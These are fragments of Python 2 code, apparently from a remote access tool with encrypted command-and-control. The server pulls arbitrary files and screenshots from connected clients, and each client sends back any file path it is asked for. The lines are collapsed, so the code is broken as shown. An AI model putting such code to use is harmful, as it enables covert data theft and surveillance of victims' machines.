def recvfile(conn, dhkey): fname = crypto.decrypt(conn.recv(1024), dhkey) str = "@client" nname = str + fname data = crypto.decrypt(conn.recv(4096), dhkey) if len(data) != 0: rfile = open(nname, 'w') rfile.write(data) return 'File {} uploaded.'.format(fname)
def sendfile(conn, dhkey): path = crypto.decrypt(conn.recv(1024), dhkey) try: with open(path, 'r') as f: data = f.read(os.path.getsize(path)) conn.send(crypto.encrypt(data, dhkey)) return 'File {} downloaded.'.format(path) except IOError: return 'Error: Permission denied.'
def recv_schot(self, client): imgFile = open('screenshot_server.png', 'w') try: recv_data = client.conn.recv(4096) imgData = decrypt(recv_data, client.dhkey) imgFile.write(imgData) except Exception as e: print 'Error: {}'.format(e)
def download(self, client): path = raw_input('Intput client\'s file path: ') fname = os.path.basename(path) # send remote file path self.send_client('download', self.current_client) self.send_client(path, self.current_client) # recv file str = "@server" nname = str + fname rfile = open(nname, 'w') try: recv_data = self.current_client.conn.recv(4096) dedata = decrypt(recv_data, self.current_client.dhkey) rfile.write(dedata) self.recv_client(self.current_client) except Exception as e: print 'Error: {}'.format(e)
def recv_client(self, client): try: recv_data = client.conn.recv(4096) print decrypt(recv_data, client.dhkey) except Exception as e: print 'Error: {}'.format(e)